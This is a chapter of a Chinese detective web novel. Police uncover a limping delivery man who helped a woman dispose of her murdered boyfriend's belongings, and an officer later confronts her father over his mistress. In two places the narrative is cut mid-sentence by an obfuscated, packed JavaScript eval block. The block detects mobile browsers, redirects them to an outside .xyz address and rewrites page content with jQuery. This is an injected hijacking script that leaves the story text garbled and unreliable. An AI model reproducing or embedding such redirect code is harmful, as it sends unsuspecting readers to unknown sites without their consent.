得知不要紧,王大爷松一口气,关怀也就到此为止了,他的观念里,轻伤不下火线,何况那么大个小伙子,所以他打算快速将事情一说,好让人赶紧工作去。 “哎,早上那事查清楚了……” 这也是一桩赶巧了的糟糕事儿。 行凶者是陈惠酒吧群体性侵案中一个嫌疑人的父亲。 虽然在刑侦这,该案已经办结并移交去了检察院排期公诉,但家属来了,分局仍有责任义务向其说明案情及目前进展。 所以这个家属到了警局后,王大爷就将人指到了一楼大厅,立刻有文员接待了他请他坐一下稍等一会,因为当时还早,刑侦这边的人都还没有上班。 等着等着,这位家属想喝水,恰好大厅的饮水机被绿植遮挡,他一下没找到接水的地方也不敢到处乱转,就去找了边上快拖完地的保洁员,两人老哥大妹子的一番来回,保洁员便热心带人接水喝。 保洁员一厢情愿地要为局里省水,总觉得买水喝是个很奢侈的事,她没用饮水机,反而是把人往大楼后头带。 围墙边一楼有个工具间,也是分局几位保洁员歇脚放私人物品的地方,里面正好有个大家合买的烧水壶,上头并不禁止她们用电,人走注意拔电源就行。 半路上,保洁员好奇地问起对方来警局什么事,男人便一脸愁容说了他知道的,这一说说到保洁员请他坐下,接水烧上了水,神色也开始不对。 男人看出来点什么,立刻讨好地吹捧她,说她是城里的能耐人,见多识广之类的,连连哀求她说下内情,说自己还是稀里糊涂的,根本不明白到底发生了什么。 …… “所以说,局里招人一定要谨慎,不管是干什么工作的,那些嘴上没个把门的,不知道分寸的都不能要!”王大爷摇头啧了一声后继续,“你知道她是谁不?” 这话说的,难不成对方还有别的身份? 王大爷却不说了,两人顺着他视线看过去,原来是那保洁员大包小包的出现在了拐角。 是她啊,早上才见过,给人的印象,的确是个热心大姐,池千雪抿了抿唇,有点不知道怎么反应好。 不过,大姐眼下虽然是被辞退了,但按照差点造成的后果来看,这已经是很轻很轻的处理了。 可对方委屈啊,她越走越近,到了三人跟前开口: “领导啊,对不住,我真没想到会这样,但我真的不知道不能说啊,那人看着老可怜了,我同情他才说了自己知道的事情而已,我完完全全的好心啊,这年头,真是好人做不得,闲事管不得,谁知道那是人是鬼啊,我也真是倒大霉了,工作换了又换……哎!” 她愁眉苦脸的说完,也明白事情已经挽回不了,也不需要三人的回答,她一转身,自言自语地走出了警局:“命苦哦,人老了就没用了,说几句话差点要抓我坐牢,这世道,不让人活啊……” 她越走越远,池千雪目瞪口呆。 不知情的人要是围观这一幕,还真当是他们欺凌弱小呢。 “别听她扯那些,还当自己只是好心办坏事呢,说也说不通!对了,知道她是谁不?” “啊,谁啊?” 这保洁员不是别人,正是陈惠这桩案子里的目击者,那个冲进酒吧街公厕的保洁大姐。 她在陈惠那事后很快辞职了,后通过老乡介绍来了东城分局工作,听了一耳朵陈惠的案子就上心了,一直默默留意着案情进展,却全程隐藏了自己,生怕惹祸上身。 这位大姐一直说,她是因为同情可怜对方,这才说了自己知道的事情而已,是完完全全的好心。 真的是这样吗? 也许好心也占了几分的吧。 案子已经结了,她没有了最初生怕惹麻烦的担心谨慎,反而渐渐滋生出了一种隐秘的得意,同时也有点郁闷。 这种默默掌握了事件来龙去脉,却不能与人分享的感觉很不好,所以面对连连哀求她看着就可怜的老大哥,她大说特说,还加入了不少她自己的理解,信誓旦旦的千真万确的模样。 男人全信了,或者说愿意相信,说尽兴后,保洁大姐也责怪了男人的儿子,确实犯错了很不应该!男人抹抹眼泪竟然也像模像样地认起错来,两人坐立在狭小的工具间内,像演练了一番升堂的情景。 最后,大姐叹气,建议他去求求那个主办的女警官,想想又说肯定没希望了,都办成铁案了。 “反正你试一试吧,不成也只能认了,子女都是债,哎。” 话都让她说完了。 男人点点头沉默下来,看着水壶开始冒烟直至烧开。 接满后他向保洁大姐道谢,接着独自走回到了一楼楼外等待,最终,他将开水泼向池千雪。 . 王大爷自然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14795294|157447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不能一五一十形容出人心底色,当下,他只是转述了问出来的对话经过。 公安老前辈,说话绝不会添油加醋,但他会分析,池千雪则细腻,姜不招更敏锐。 对待已经到此为止的这桩事,王大爷决定了以后要更严把关,两位受害者倒是立刻放下了。 眼下还有更重要的工作呢! 匆匆进去大楼,两人正好碰见后勤主任,又是一通解释说明关怀后,拔腿要走的池千雪突然问道:“我们分局接受社会捐赠吗?” 有着一张慈祥胖脸的后勤主任眼睛一亮:“接受啊!可以啊!” 谁要捐吗?捐什么呢?办公桌?办公电脑?左不过是些办公用品,但量大了也是很能解决问题的!多出来的经费,正好可以拿来用到…… 他畅想着,眼睛忽闪忽闪的满是期待,池千雪也不负所望: “茶水间员工休息室多来几间,嗯,宿舍也算上吧,争取让局里有住房需要的都住上,就别在外面租房了,您看在后院再建几层楼好,或者找块合适的地皮,购买和审批程序我这边都可以负责,您往宽敞了建!” “辛苦您回头打个规划预算给我,对了,我看有些警车已经很旧了,也加上,要新款高配的!” 池千雪暂时只想到这些,她歪头思索几秒,浑身上下散发出耀眼的,散财童子才有的金色光芒,吐出一句天籁之音:“还缺什么都加上!” 后勤主任眼睛越瞪越大,嘴角几乎咧到天上去,两掌一拍,手心胸膛都是火热热的,恨不得将眼前人供起来日日上香! 这是什么大财神!一把年纪的主任笑完又想哭,感动的!不是说有钱人都精明,越有越抠吗?他错了!刻板印象要不得啊…… 池千雪不知道他的内心世界有多丰富,但光是外表那热辣滚烫的目光已经让人受不住,于是赶紧扯着愣神的姜不招走先。 姜不招看看池千雪,陷入沉思: 其实他已经在攒老婆本了,但是好像,啊不必好像,是他一定养不起千雪,怎么办?这是一个值得深思的问题,虽然人家没有要自己养,并且生活质量相当的好,两人能不能在一起也没有把握…… 他暗暗给自己鼓劲:不要气馁!有空多找找自己的优点和定位!嗯,健身不能断,要不要买面膜呢?以前觉得大男人不该敷,得改,咳!别让人看到不就好了…… 男人啊,就是想头多。 等回到二队办公室,面对围上来七嘴八舌的问好,两人顾不得多说,将心神从上午发生的几段插曲中收回,姜不招敲敲桌面,进入工作模式:“都去监控中心,石厦案可能有突破口了!” . 已经被看过多次的监控画面中,大厅和电梯等有监控的公共场合内,进出的还是那些人,大伙还是不明白有哪里特别。 江望:“姜队,我们在找什么啊?我看你本子上一直在记?” 姜不招指了指出现在大堂,背着外卖箱进电梯的外卖员:“你们发现没,整晚进进出出奔忙在整个石厦公寓的外卖员有很多,但有一个人,出现得太频繁了,你看这个……” 代福音负责拉时间。 “这个。”姜不招指完又说出一个时间,代福音拉过去。 “再看这个。” “还有这个。” “看出来了吗?” “都是同一个人!” 江望惊呼:“真是吼,都差不多瘦差不多高,虽然带着头盔口罩看不清脸,但感觉上确实像同一个人!” 姜不招抱胸单手支下巴,眉头一皱又一松:“他走路怪怪的。” 池千雪定睛一看,脑中闪过一点灵光,转瞬即逝。 曹空城接着说道:“说腿脚不灵便吧,走路又还算正常,但正常外卖员哪里会走得这么‘平稳’,都恨不得跑出火星子来,嗯,不好说,他就走那几步路,其它时候都是电梯里站着不动,也就进去出来那一下,着急了才有一点怪。” 步青云:“再看看,还有很多他的画面吧?” 视频无声播放,或是快进或是暂停或是回放。 终于。 可能是整晚的奔走,他终于疲劳到露出破绽。 池千雪看着因为急走几步,所以气喘吁吁走路高低不平暴露腿疾的外卖员,心霎时间沉了下去。 这人很瘦,个子不高走路跛脚,案发当晚频繁出现在石厦公寓。 池千雪在心中道:“他是阿豪。” 阿豪。 竟然是阿豪。 可是故事里阿豪和月牙根本不认识啊! 不对,月牙失忆过。 总之,这绝不可能是个巧合。 她后知后觉到,能出现在故事里的人和物,都不会只是白白出现。 阿豪很大可能就是那个帮凶! 可她没法说,她只能引导:“先问问月牙母亲那边,看知不知道月牙身边有个有腿疾的朋友。” 姜不招看了她一眼表示赞同,江望则挠头不解。 “其实我还是没有明白吼,只因为他出现的次数最多,腿有毛病习惯掩盖,就是那个帮凶?”这也没有因果关系啊。 姜不招解惑:“这两点本身没有问题,问题在于,他怎么就能一直精准接到石厦公寓内的单子?而且他送完一单离开公寓大堂,再接到新订单取餐回来,这中间至少要相隔半个小时以上吧?可他二十分钟左右就回来了,单单如此没有例外。” “这是他疏忽的第一点,疑点二则是,他在公寓内每个订单的配送时间全都长过别人,现在的人点外卖多是放门口就好,哪里需要费时间当面交接,即便是因为他走得慢,也还是太长了点,而且就那么巧,他配送的单子全都在高楼层,没有一单是二十楼以下的。” 步青云点点头附和补充:“是了,比如这单28楼的,他从电梯出来后,拐弯进入走廊不见,至少过去五分钟了吧?才提着外卖箱回来等电梯,仔细看他手臂,明显比之前绷得直,什么外卖,送完后箱子会比原来还重?除非他还装了东西。” “就是啊,只见过帮人带垃圾下去的,没听过装东西进箱子走的。”代福音仔细看后,谨慎地发表了言论。 江望瞪大眼睛:“哦——哦!月牙把东西搬到这人刻意随机出来的楼层,再在楼梯间转移掉由外卖员带去地下停车场,一晚上来回接力,足够他们分尸又搬空了!虽然我不明白为什么就非要搬空?” “诶,要是走廊楼道有监控,或者停车场别那么昏暗导致看不清,他们的阴谋肯定不能得逞!这物业都不行啊!” 曹空城看江望一眼:“不懂了吧?没有经过所有业主同意,物业无权对可以拍到业主家门口的区域安装监控,侵权的!” “而且,那时又有那时的办法啦,犯罪分子的聪明都用在歪门邪道上了,我们要有足够的想象力才行。”都到这个年纪了,再没本事也有点见识了,曹空城深认为,太正确了是办不好案子的。 江望连连点头,学习了,安静三秒后,他突然冒出一句:“情感纠纷中,一方断舍离相关物品,是人很正常的心理,甚至是必要的行为。” 算是自己回答了自己刚刚的疑问,不过竟然没加半点语气用词,对他来说,反而是种无厘头行为了。 代福音莫名其妙地瞥了他几眼,想说“怎样?你失恋过哦!”到底是严肃工作中,她咽回去了。 姜不招最后一锤定音: “综上所述,这人有嫌疑,但不代表他就是帮凶,我们的很多分析,都是在预设了他是帮凶后自圆其说的,但不管怎样,这是目前唯一发现的突破口,所以现在我们要做的,是先找出这个人。” “是不是,查就知道了。” 16. 一弯月牙 吴芳挂着脸,将两位警官迎进门后—— ——啪! 她将门重重一关,隔绝了左邻右舍楼上楼下的所有打量好奇和那些交头接耳。 “请坐啊。”吴芳抬手,指了指沙发。 有客气,但不多。 反正已经是杀人犯亲属了,客不客气的,也改变不了什么。 池千雪和代福音便在这具有些年头的木艺沙发上坐下,吴芳则挪了张吃饭用的椅子,在两人对面坐下,问: “昨天下午你们给我打电话,接着店里阿豪就给你们抓走了,现在一大早的两位又亲自上门,这次是不是轮到抓我啊?” 池千雪认真纠正她:“我们只是请周子豪先生配合下调查,不是抓。” 吴芳嗤笑一声当没听到,纹过的一对细眉高高吊起,翘起的二郎腿,悬空的那只脚晃啊晃,透明的塑料拖鞋要掉不掉: “老陈拘留了,阿豪抓走了,小陈嘛,气得说不认他老豆了,还要赶我这个外人出去,这会不在,那是回他亲妈那边摇人去了。” “抓我进去也好啊,起码有口饭吃不是?” 池千雪不接话了,而是好奇地观察起吴芳,和初见那次相比,她看起来没有多大的变化,或者说,还更精神了,她躲在老陈背后时,可没有这股精气神。 女儿身陷囹圄,加上她刚刚说的所有困难,正常人都会焦虑害怕担心丢脸,然后神情憔悴不修边幅无心做事吧?(适逢其会除外) 可她化了妆,头发虽然还是扎了细细一把低马尾,但原本脱节的发色被染成了崭新的棕红,穿着一条碎花长裙,裙下晃着的脚上红色指甲油鲜艳欲滴。 不光精神,甚至有点重焕青春的意思。 池千雪光明正大一通打量后,吴芳终于停止晃她那只脚,也意识到自己的状态太好了点,没办法,哪怕麻烦重重,可她第一次发现,原来家里的男人彻底消失后,单身的日子竟然那!么!爽! 这真是年代不一样了,也可能是她年纪不一样了。 想当初她刚离婚,单身的每一天都活在无穷无尽的指指点点中,全世界都逼着她不得不赶紧将自己嫁掉,她从来没有自由过,如今家里这团乱麻坏到底了,名声差到无法挽回了,她反而能解脱了。 俗话说了,关起门来,谁家没个鬼。 爱咋咋的! 虽然老陈很快就会被放出来,谁都知道,摸了女人或者女儿或者女童几把——也就是猥亵,根本够不上判刑的地步,还不是拘留教育一下就算了,但等人一出来,她就提离婚! 陈家折她一个女儿,那她离婚要分一半存款和房子,也不过分吧!至于理发店?那从头到尾,都是靠她自己拼下来的,谁也别想抢! 这些并非是在这短短几分钟的沉默中想出来的,吴芳从月牙案发那天起,就开始想了,日也想,夜也想,翻来覆去地想,每天都很忙,于是也就没空想月牙最终会是个什么结果。 偏偏警察又上门! 池千雪不接吴芳之前的话茬,直道来意:“请问,我们可以看看月牙的房间吗?” 吴芳就起身:“可以,当然可以,不过你们警察不是搜过一遍了吗?还把她的戒指包啊电脑都拿走了!呐,我可是经过你们的人同意了,才收拾的房间啊!” 她说着,打开了大门边那道房门,门一开,憋久了的热气兜头盖脸而来。 这是一间四四方方没有窗户的小房间,写满了沉闷压抑,也堆满了杂物用具。 有纸箱子、木箱子、塑料箱子、歪书架、旧衣柜、单人沙发床,以及沙发床上,用真空袋装着的大包大包的冬季衣服?靠着房门边,还有一些不常用的带包装的锅具,团成团的很多旧塑料袋,雨伞…… 满满当当的,已经找不到月牙生活过的痕迹。 这样的房间,加上云都夏季的极致炎热,即便好好的收拾出来住人,也是很不舒服的环境,像个与世隔绝的坟墓一样。 月牙就是为了这样一个住处,忍了又忍,或者不是为了住处,而是为了对亲情的最后那一点渴望。 但吴芳显然对这段亲情毫无留恋。 “她的其它行李呢?” 池千雪直视吴芳,身后的代福音推推滑落的眼镜架,也瞪着吴芳。 吴芳垂下眼皮,语调平平没有起伏:“……都是些没用的,我就丢了。” 报案也不过是前天的事情,这个当妈的,竟这样迫不及待就清除了所有! 池千雪闭眼,深呼吸,不急哦,不气哦,伤身哦! 代福音不忍,叉腰很大声地质问:“您怎么能擅自处理胡乱丢弃呢?里面说不定有相关证据啊!就算东西确实和案子无关,我们同事肯定也有提醒你要收拾也先别丢!丢哪了?我们得找回来!” 池千雪被爽到,双手抱胸冷漠脸:嗯!对! 吴芳被一顿呛,眼皮一掀反而理直气壮:“我是她妈,我怎么不能收拾了,怎么不能做主了!而且也找不回来了!垃圾车早运走了!” “大妈你可真行啊,你也说她是你女儿了,你——” “叫谁大妈呢?你个外江佬!你什么你!我没那样的女儿啊!不要说丢她点东西,我恨不得她刚生下来就掐死她啊,谁要女儿啊,她要是个儿子,我命也不会这么苦啦!她就是个祸害!怀她的时候倒霉帮不到我,还搞得我不能生啊,如今更加害我丢人,给我找了这么大的麻烦——” 吴芳声音越来越大,胸膛剧烈起伏着,控诉却戛然而止,显然还没骂完的她,突然抬手捂住脸,呜呜呜地哭起来。 她靠在房门边的墙上哭了好久,池千雪和代福音想说点什么,都无从谈起。 行李物品方面已然不会再有收获,两人这趟来,重点也不在行李,而是想了解一下月牙平常的为人处事如何,是否有精神异常,是否谈起过和何元聪的这段恋情,和阿豪到底是个什么关系等等等等。 二队今天几方分工,谈话也好,查关系网也好,去月牙长大的家乡也好,都是为了抽丝剥茧,找出一个杀人犯杀人的逻辑,关联出帮凶存在的证据线索。 包括对月牙本人的审问,也会涉及到有关“杀心”的问题——这关系到了嫌疑人的犯罪动机、预谋和故意程度,从而可评估其刑事责任…… 吴芳显然不能配合警方,她对女儿的了解实在不多。 哭一会后,她放下手,露出一张被泪水冲刷成五颜六色狼狈的脸:“东西是找不回来了,我当时太恨了,什么都没留下。” “你要是想问别的,我只能说,我根本不了解她,我也不关心她在想什么,我连自己都不关心,得过且过的,哪里管得了她的心她的事。” “但是我想说一句话,她不坏的,她只是心气高了点,年轻就是这样的,都是这样的,她一心要过好日子!她要真杀人跟踩蚂蚁一样简单,不会弄到忘记自己干了什么的地步,会杀人,肯定是那一下,她实在受不住了。” . 没什么收获的池千雪和代福音刚回到警局,沈局就通知开会。 刑侦的所有案子,一把手沈确有责任一一过问。 因为缺了姜不招和江望——两人去了月牙长大的地方,参会人数稀少,又因为阿豪拒不认罪,案情进展不大,会议便只开了半个小时。 沈确了解了进度,二队梳理了现有信息,会议更多的,还是在说网络舆论这块。 没错了,案子又上网了。 何元聪失踪案的最初,因为他的帅气,相关内容就曾在网上热闹过一阵,前天在石厦公寓那么大阵仗地找尸骨,更挡不住被人全程拍摄,有楼上俯拍角度,有人群夹缝中放大再放大的角度,有高清□□版本的,有打码怕人看吐版本的,总之根本就瞒不住! 发酵到今天,又是一个举国皆知的热搜。 之前很多神评、预知贴、案件分析被翻出花来,那些两性关系男女情感的主播也都忙坏了,听江望说,队友徐觅的网红老婆都打电话来问,这事能不能在网上开一集,当然,她一定是客观地中立地正能量地表达一些可以说的观点…… 明明一开始,主要还是谴责凶手,并为何元聪网上献花双手合十哀悼一路走好的画风,后来就不再受控制了。 网友是真的热心,主播是真的有话说,少数私密账号是真的在搞对立,其结果就是,网络环境闹哄哄的,警方更是压力山大。 为什么大?因为不停有媒体想要知道更多案件内情,为了不负广大群众对正义的期盼,更是要跟进到底。 “案子还在侦破阶段,暂时不方便告知,届时会发通告”这句话,发言人已经说累了,结果网友又炸了,什么意思?凶手难不成还能是别人之类的,想来等帮凶浮出水面后,新观点——奸/夫/淫/妇论又会满天飞…… 哎,近期连连登榜,这种流量,东城分局真的一点都不想要! 要解决呢,说简单也简单。 案子早点破快点破。 散会后,讯问室外。 池千雪通过监视器看了看周子豪。 他垂着头,胸膛匀速起伏着,靠着椅背双手搭在腿上,姿态放松,看着像睡着了。 警方在周子豪这里,一无所获。 文明执法尊重人权,何况他还不是罪犯,所以什么刺激心理战车轮战熬鹰不给睡的法子,通通不能用不该用,警方请他来,只能是在规定时间内问个话。 池千雪手指敲弹着桌面,由衷感叹,阿豪的心理素质出人意料的好啊。 在警局待了这么久的时间,他有着适当程度的慌张,适当次数的询问何时可以走,适当的表情适当的反应,最初的月牙像朵楚楚可怜的小白花,那他就像株努力挺拔的小青草,都是一脸真切的无辜,对所有指控质问全都坚决否认。 即便警方很快调出他曾使用过的外卖账号,证实了他当晚根本没有任何订单,他还是坚持自己当时不认识月牙。 他说,他白跑一晚上,完全是因为他是个怪人。 因为腿脚不好,所有人都说他干不了外卖这行,而他确实快要扛不住了,于是在放弃的前一天,他自虐一般,模拟了一晚送外卖,只想证明:不是他不行,是他不想干了。 “残疾人莫名其妙的自尊心,你们不懂的。” 接着是很经典的一句台词,他小心翼翼的,怯懦委屈地反问:“警官,假装送外卖,不犯法吧?” 二队人确实不懂,残疾人也表示不想被随便代表,假装送外卖也确确实实不犯法。 警方当然不相信这套说辞,但他们没有证据反向证明,事实上,这样的推脱也算有一定的逻辑了。 稍有刑侦经验的人,对这番说辞都不太惊讶,这根本不算荒谬的。 曾经有些罪犯为了脱罪,甚至能说出,□□是为了锻炼警犬,杀人是为了庆祝生日,偷盗是为了供奉神仙,拐卖是为了完成月老托梦这种荒唐至极的话来,还有的案子都到开庭那天了,犯人翻供说是警方给他下了蛊才会认罪…… 总之所以,月牙案,仅有一份认罪口供和受害者尸骸,是不够的! 池千雪离开了讯问室,她先要问问海那边打捞的进度,虽然就算车被捞出来,大概率也找不到指向凶手的证据…还要再跑跑月牙最早住过的地方,月牙父亲那边也得她亲自去,换别人去,那家人真做得出直接赶人…… 而分局这边,因为没有证据,时间一到,二队不得不放周子豪回家。 直到三天后。 姜不招和江望胡子拉碴风尘仆仆归来了。 周子豪立刻被收监。 . 如姜不招之前所说,是不是的,查就知道了。 而这世上很多事,只要详细调查,总能发现点蛛丝马迹。 事实上,这个案子,从陈自强举报起的一连串发展,就注定了,这个本可能被掩盖过去的案子,终将真相大白。 月牙和阿豪,毕竟不是精心预谋。 这是一桩激情杀人案,因为凶手的失忆,帮手的善后等等,才暂时蒙蔽了警方而已。 姜不招坐到阿豪对面:“别告诉我,你也不记得你们早就认识?” 资料摊开,铺满整个桌面,上面全是二人的过往经历。 多年以前,一个宁静的村庄里,一个寡妇捡了个女婴回家,一个弃妇带着天生跛脚的儿子回乡,两个女人比邻而居相互帮助,两个孩子青梅竹马两小无猜。 等到孩子长大到了上学的年纪,人渐渐有了区别,一个是好好读书的乖乖女,一个是被霸凌至辍学的“跛脚豪”,两人默契地减少了人前的来往,只在田野间山谷里无人时继续着他们的友情。 再后来,月牙考上大学离开了家,阿豪失去母亲背起行囊也离了家。 月牙的生活太精彩了,以至于和远方的阿豪淡了联系,世界发展迅速日新月异令人应接不暇,到最后,月牙只剩下阿豪一个企鹅号,在长长的岁月里,对话寥寥无几,还都是月牙偶尔想起来,单方面发给阿豪的。 通过技术手段,两人过往的聊天记录也被翻出来。 出人意料,自两人分别之后,他们的第一次有效联系,竟然就是杀人当晚。 月牙杀了何元聪,还没处理或正在处理尸体的时候,她登上企鹅,敲了敲那个埋在深处一直灰色的头像。 聊天记录全部都在。 “阿豪,我要去上大学了,你也努力打工,赚钱了要来看我哦。” “阿豪,好久不见了,你好吗?前几天在校门口看见一个背影,感觉很像你,哈哈,是不是很巧?” “阿豪,那人不会就是你吧?不对,要是你来看我,肯定会联系我啊。” “阿豪,我妈妈去世了,你在哪啊?为什么都不回我信息了。” “阿豪,听家乡老人说你被你爸爸接到了云都生活,我也来了,可以见面吗?” “阿豪,你大概没有在用这个号了,我好失落,我就这样失去你了吗?” “阿豪,我想我找到了幸福,可幸福好难把握。” “阿豪,今天突然想到了小时候,如果时光可以从头再来,该有多好。” “阿豪,我好难过。” “阿豪,我杀人了。” —— “月牙,我来了。” “月牙,不要怕,交给我。” 聊天记录里,多年间,一直是月牙单方面给阿豪发信息。 直到几个月前,何元聪死亡当夜,月牙发出“我杀人了”的一分钟后,阿豪第一次回复了信息。 回了两条后,再没有其它讯息了。 显然,阿豪一直关注着月牙的生活,从未远离过她,也一直都收得到消息,只是不知道出于什么心理,从未回复过。 直到杀人当夜,他英雄救美一般出现。 月牙在卫生间分尸,他背着空空的外卖箱坐电梯到不同的楼层后,走楼梯到月牙的公寓,蚂蚁搬家一样,将何元聪的东西装进外卖箱,一点一点通过原路径带下楼,运送到地下停车场何元聪的车内,最后开车驶向大海,再无踪迹。 这是何元聪案唯一有支撑有逻辑有轨迹的真相了。 但是面对以上诸多证据,两人不约而同还是选择否认到底。 月牙既然已经找回记忆,按理也会想起阿豪,可面对警方审讯,她还是一句:“我不记得了,你们都说认识那就认识吧。” 阿豪则说:“好吧,我承认我认识她,可我们很多年不来往了,那天我也只是一时热血上头,毕竟她是我的初恋……” 他是如此的肯定,月牙不会将他牵扯进来,所以字里行间没有半点心虚迟疑。 “我是去找她了,可是我上上下下很多趟,就是因为我没有勇气一直在反复纠结,我没有帮她处理任何事情,更不可能杀她男朋友啊!我真不清楚当晚到底是什么情况,我根本没敢见她!” “第二天我就没有再做外卖了,后来我爸让我去学理发,我也没想到那么巧,会在那见到月牙,而她竟然不记得我了……” “不知道,很多事我都不知道,不知道吴芳会是月牙的亲妈,不知道那晚的楼梯间里,月牙是不是上下搬运过行李物品!” 阿豪甚至给出了一个新的思路: “而且为什么一定是我或她在上下楼梯搬运行李呢?她完全可以高空抛物,只上下一趟就好,毕竟按你们说的来看,她不需要东西完整,只要它们消失,不是吗?” “啊,那面没有监控吗?” 他仰着一张疲惫的脸,反问着警方,像一个合格的无辜旁人,被逼问到一定地步,自然而然产生出来的疑惑。 身在局中的人被问懵,很快反应过来,当然是因为月牙的口供如此,所以警方认定此案必须有个帮凶,不然怎么可能做到呢? 池千雪不禁摇摆:可月牙说的就一定是真的吗? 她又想:故事和新闻最大的不同,就是一个会故弄玄虚一个只客观陈述,那自己是否先入为主自以为是了呢? 回来后一直连轴转不曾休息过的姜不招,此刻收起所有资料信息,突然放过周子豪,起身出去集合二队所有人后,他开口: “不要被他牵着鼻子走,不要进入他的逻辑世界,一而再再而三隐瞒说谎的人,看起来越无辜就越可怕,跳出来,我们再看看这个案子!物证有困难,我们就必须找到口供上的突破口……” 池千雪心神一震,她掏出本子,正色起来。 因为比别人多看了一个故事,不知不觉间,她也已经在跑偏的边缘! . 当天傍晚时分。 池千雪神情平和地坐到月牙对面。 曹空城笑眯眯地坐到周子豪对面。 池千雪拿起月牙和阿豪认识的那些过往资料。 曹空城端起茶杯慢悠悠喝了几口热茶,舒适地哈出一口气。 池千雪开口,开始来来回回反复磨牙那些聊过的旧话题,月牙也照老样子回答着。 曹空城将茶杯一放,拉家常一样的说着:“你爸给你请的大律师应该和你谈过吧?只要你确实没有杀人,我也相信你没有,那么,只是帮助转移受害者物品包庇凶手知情不报大大小小全加上,你也判不了多久。” 池千雪还在聊那些。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14833320|157447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 曹空城话锋一转叹道:“我们办案难啊,你看,明明大头都招了,偏偏卡在实施过程这块迟迟结不了案,哎,我猜猜,为什么你坚决不认呢?” 月牙看着滔滔不绝的池千雪,终于忍不住露出些许无语神情。 阿豪抬头:“没有做过的事,我从何认起呢?” 曹空城神情怜悯:“其实你和月牙一样,骨子里自卑又自傲,内心渴望正常的生活,最想组建一个正常的家庭,她是没有希望了,但你还有。” “父亲要是有了犯罪记录,孩子的未来就受限了。” 阿豪猛然抬头。 池千雪保持着同样的声调语速,在上一句话落地后,突然问月牙: “为什么你宁愿让阿豪帮你搬东西下楼,那些东西从窗户扔下去不是更快更方便吗?那里没有监控没有人去是个盲区。” 月牙愣了愣,下意识脱口而出:“那里住了小猫啊,会砸死它们的。” 池千雪沉默,月牙变了脸色。 “你承认了。” 何元聪失踪案,石厦公寓分尸案,这桩杀人案在刑侦这里,终于结案了。 虽然用了终于二字,但其实这案破的,那是相当有效率了! 二队在证据链完善结案移交出去后,终于应代福音的约,去纪师傅川菜烧烤店尽情吃了一顿,庆祝她的转正。 等月挂高空,池千雪回到家中时,池达竟然就等在客厅。 他看着有些疲劳有些心烦意乱,见到人,他摆摆手示意池千雪:“小雪,坐,陪爸爸聊聊。” . 哎,如果说前几天池千雪还想慢慢来,看怎么处理这段家庭关系好,可今天,现在,她已经不想再应付他了。 池千雪在沙发坐下,两人一时间都没有说话。 池达石破天惊一句话打破了沉默: “你和你们警局那个新来的队长,姜不招,拍拖了?” 池千雪侧身转向池达,因为隐私被侵犯而生气道:“你调查我?” 池达闻言厉喝:“什么你啊你的,什么又叫调查?你这是和爸爸说话的态度吗?你曾叔从交通系统里看到的,你们自己不注意影响,都被摄像头拍下来了!” 池千雪深呼吸一口,看着池达。 他嘴巴开开合合,永远满口的大道理,可家不是讲道理的地方。 这就是原主的爸爸呀,他对女儿的爱到底有几分呢?如果知道他的女儿其实已经死了,又会不会感到后悔难过呢? 这些已经没有答案了。 池千雪心里一酸,自己死了,爸爸妈妈就算有了多年的心理准备,哪怕不常陪伴她身边,也是难过得哭了几场,她死后都看见的。 可是,原主离开的时候,她爸爸正在情人那——或者说是正牌女友,事实意义上的妻子那,集合了一帮亲友为那个孩子庆生,他甚至让人骑到他脖子上,完全没有所谓严父架子。 池千雪决定不要再拖了,更不要担心紧张被发现,她要大大方方明明白白告诉这位父亲,她就是变了!有理有据有原因!最重要的是,她必须要为原主的“死亡”做点什么! 在对方眉头越皱越紧再次发问之前,她拿出手机调出微讯,起身几步放在茶几上推到了池达手边: “我给您看个东西吧。” 她看着池达翻开那几条信息,看着他的脸色变得僵硬乃至越来越黑,道: “我不知道您给了她什么信号,让她有底气挑衅一般突然发了这些给我,是因为这次全家族的人都去捧场了吗?或者她以为我不会说,而是像以往那些年一样,听着刻意舞到我跟前的闲言碎语,只会装听不懂打碎了牙往肚子里咽,一声不吭默默忍受甚至主动离开?” “她难道一直以为是我阻碍了她的前途?爸爸,您知道的,您若真心要再娶,我没有权利阻止,以我的个性也不会阻止。” “我是您女儿,她用这种上不了台面的手段对付我,简直是种侮辱,您就这种眼光吗?儿子再好,谁又不能生呢?总该好好挑选一下女方的基因品行吧——” “够了!” “小雪啊,你听爸爸说……” 面对这令人猝不及防的一幕,女儿连珠炮似的一句又一句,池父先是拍案而起大声喝止,紧接着又软了声音,有些后悔:“你早就知道了?是爸爸不好,没有管束好她,爸爸一定给你个交代——” “您别这样说,女朋友可以分手,儿子总不能塞回去,爸爸,我非常理解您的孤单,和对于无子传承的恐惧,您应该给这对母子一个身份一个交代才是。” “我知道爸爸也是怕我吃亏,才会一直没有再婚,这样,我建议您先将您的个人财产分配做个公证,然后您就将人娶进门吧,哦,您已经在市政附近给她安排了一套大平层了,那您补个证,直接住过去就好啦!” 又是一声够了,打断了其实差不多已经讲完的池千雪。 “越说越过分了!小雪,你怎么会变成这样!”池达又惊又怒的看着她,万分不解。 而且……他恍惚想起,他个人能有多少财产? 几十万?加上唯一一套房产上千万?属于他个人的财产就只有这么多,他是市长,不是生意人,这栋庄园和庄园内的所有字画摆设珠宝藏品车辆等等,还有全国各地的房产店铺及银行存款,更有许多大小公司股份各种投资……这些都是他的亡妻带来的。 